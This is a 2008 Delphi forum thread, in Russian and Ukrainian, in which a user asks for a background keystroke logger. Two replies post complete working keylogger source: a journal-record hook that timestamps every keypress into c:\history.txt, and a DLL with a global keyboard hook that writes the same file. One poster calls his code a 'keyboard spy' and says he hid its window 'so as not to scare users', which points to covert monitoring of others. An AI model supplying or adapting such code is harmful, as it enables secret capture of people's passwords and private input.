Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > ОС и железо
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 23.08.2008, 21:37
Drakonsa Drakonsa вне форума
Прохожий
 
Регистрация: 23.08.2008
Сообщения: 3
Репутация: 10
По умолчанию Key Logger

Нужно, чтоб при вводе определённого текста, например qwe, даже если программа находиться в фоне, в файл log.txt записывались все нажатия клавиш, до момента нажатия на Enter.

Программа пишеться для себя, не предназначена для шпионажа за другими пользователями, компьютерами и т.п.
Ответить с цитированием
  #2  
Старый 24.08.2008, 02:06
Daimond Daimond вне форума
Прохожий
 
Регистрация: 24.08.2008
Адрес: Львів
Сообщения: 2
Репутация: 10
Подмигивание

Тримай код. Це клавіатурний шпигун, але його можна використати і для товєї задачі. (В своєму проекті я видалив форму програми, щою не налякати юзаків )
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  h:hhook;

implementation

{$R *.dfm}
function Proc(code:integer;wParam:WPARAM;lParam:LPARAM):lresult;stdcall;
var c:array[0..255] of char;
    nScan:integer;
    f:textfile;
    t:_systemtime;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
assignfile(f,'c:\history.txt');
append(F);
getsystemtime(t);
writeln(f,'date:'+inttostr(t.wDay)+'.'+inttostr(t.wMonth)+'.'+inttostr(t.wYear)+' time:'
                  +inttostr(t.wHour)+':'+inttostr(t.wMinute)+':'+inttostr(t.wSecond)+'.'
                  +inttostr(t.wMilliseconds)+'['+c+']');
closefile(f);
end;
result:=callnexthookex(h,code,wparam,lparam);
end;

procedure TForm1.FormCreate(Sender: TObject);
var f:textfile;
begin
assignfile(f,'c:\history.txt');
rewrite(f);
closefile(f);
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
unhookwindowshookex(h);
end;
end.
Ответить с цитированием
  #3  
Старый 24.08.2008, 03:55
Drakonsa Drakonsa вне форума
Прохожий
 
Регистрация: 23.08.2008
Сообщения: 3
Репутация: 10
По умолчанию

Цитата:
Сообщение от Daimond
Тримай код. Це клавіатурний шпигун, але його можна використати і для товєї задачі. (В своєму проекті я видалив форму програми, щою не налякати юзаків )
Компилиться, но никакого эффекта нету. Файл history полностью пустой и не перезаписываеться. Ты ничего не забыл скопировать? Процедура Proc нигде не используеться и что делают setwindowshookex, unhookwindowshookex?
Ответить с цитированием
  #4  
Старый 24.08.2008, 11:27
Daimond Daimond вне форума
Прохожий
 
Регистрация: 24.08.2008
Адрес: Львів
Сообщения: 2
Репутация: 10
По умолчанию

Цитата:
Сообщение от Drakonsa
Компилиться, но никакого эффекта нету. Файл history полностью пустой и не перезаписываеться. Ты ничего не забыл скопировать?
Попробуй змінити файл history, або взагалі використай будь-який інший інтерфейс виводу. Наприклад кинь на свою форму TMemo і замість запису в history виводь перехоплені KeyName в рядки Memo1.
Цитата:
Сообщение от Drakonsa
Процедура Proc нигде не используеться
Процедура Proc використовується як вказівник на процедуру в
Код:
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
Це означає, що им встановлюємо Hook для зчитування всіх натискань по клавіатурі не залежно від того на якому вікні чи програмі стоїть системний фокус.
Цитата:
Сообщение от Drakonsa
что делают setwindowshookex, unhookwindowshookex?
setwindowshookex - встановлює Hook.
unhookwindowshookex - відповідно вигружає його з системи.
А для певності тримай архів програми (KeyLogger.rar)
Ответить с цитированием
  #5  
Старый 24.08.2008, 12:02
Drozh Drozh вне форума
Активный
 
Регистрация: 12.06.2008
Сообщения: 313
Репутация: 40
По умолчанию

С к одом особо не заморачивался, так что тут много багов и не тестил (но работать долно, это точно)
Значит первое. Создаешь длл файл и в нем пишешь
Код:
library KeyLogger;

uses
  Windows, Messages;

var
 Text: String = '';
 SysHook: HHook = 0;

function KeyHook(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
 KeyName: array [0..16] of Char;
 nScan: Integer;
 AFile: TextFile;
begin // получили код
  if (nCode = HC_ACTION) and // и клавиша отпущена
     (((lParam shr 16) and KF_UP) = 0) then
  begin
   GetKeyNameText(lParam, KeyName, SizeOf(KeyName)); // код клавиши
   Text := Text + KeyName; // добавляем к тексту

    if Length(Text) >= 256 then // пишем в файл
    begin
     AssignFile(AFile, 'c:\history.txt');
     Append(AFile);
     Writeln(AFile, Text);
     CloseFile(AFile);
     Text := '';
    end;
  end;

 CallNextHookEx(SysHook, nCode, lParam, wParam); // следующая ловушка
end;

procedure RunStopHook(const State: Boolean) export; stdcall;
begin
 if State then
  SysHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, HInstance, 0)
 else
 begin
  UnhookWindowsHookEx(SysHook);
  SysHook := 0;
 end;
end;

exports RunStopHook index 1;

begin
end.

А в програме после строчек
Код:
var
  Form1: TForm1;

пишешь
  procedure RunStopHook(State: Boolean) stdcall;
   external 'KeyLogger.dll';

Далее в создании формы включаешь ловушку RunStopHook(True) а в уничтожении выключаешь RunStopHook(False)

Есть бага, если юзер до выключения программы не ввел 256 символов то они небудут записаны в файл
Ответить с цитированием
  #6  
Старый 24.08.2008, 20:50
Drakonsa Drakonsa вне форума
Прохожий
 
Регистрация: 23.08.2008
Сообщения: 3
Репутация: 10
По умолчанию

Цитата:
Сообщение от Daimond
unhookwindowshookex - відповідно вигружає його з системи.
А для певності тримай архів програми (Вложение 542)
Цитата:
С к одом особо не заморачивался, так что тут много багов и не тестил (но работать долно, это точно)
Значит первое. Создаешь длл файл и в нем пишешь

А в програме после строчек

Далее в создании формы включаешь ловушку RunStopHook(True) а в уничтожении выключаешь RunStopHook(False)

Есть бага, если юзер до выключения программы не ввел 256 символов то они небудут записаны в файл

Оба исходника работают, но как сделать RunStopHook(True) при вводе текста qwe где-то в винде и RunStopHook(False) при нажатии на Enter.
Кстати насчёт второго исходника, как в нём сделать, чтоб при нажатии на Enter в лог файле был переход на новую строку?
Ответить с цитированием
  #7  
Старый 29.08.2008, 22:18
crash-heart crash-heart вне форума
Прохожий
 
Регистрация: 29.08.2008
Сообщения: 4
Репутация: 10
По умолчанию

Цитата:
Сообщение от Daimond
А для певності тримай архів програми (Вложение 542)

Блин, у меня при запуске программы курсор мышки пропадает, а когда закрываю прогу, опять появлятся. как исправить? (
Ответить с цитированием
  #8  
Старый 24.10.2008, 13:16
Аватар для mak-karpov
mak-karpov mak-karpov вне форума
Активный
 
Регистрация: 18.09.2008
Сообщения: 235
Версия Delphi: 2010 и 7
Репутация: 1242
Радость

Есть такая функция - GetKeyState(Key:Byte);
Возвращает што-то меньше ноля(помоему) если нажата, и ноль - если нет.

Тоесть
Код:
var c, c1 : Char;
begin
   for c := 'A' to 'Z' do begin
      c1 := '-';
      if GetKeyState(Ord(c)) < 0 then// Получение состояния клавиши
          c1 := '+';
      Label1.Caption := Label1.Caption +c+'='+c1+#10#13;
   end;
....

В итоге должно получиться так.
(нажата клавиша I)
A=-
B=-
C=-
D=-
....
I=+
....
Z=-
__________________
Кнопка "+" - весы в правом верхнем углу сообщения...
Ответить с цитированием
  #9  
Старый 24.10.2008, 17:02
Аватар для mak-karpov
mak-karpov mak-karpov вне форума
Активный
 
Регистрация: 18.09.2008
Сообщения: 235
Версия Delphi: 2010 и 7
Репутация: 1242
По умолчанию

Читай в FAQ, а именно вот тут
__________________
Кнопка "+" - весы в правом верхнем углу сообщения...
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 08:31.


 

Сайт

Форум

FAQ

RSS лента

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2023

ВКонтакте   Facebook   Twitter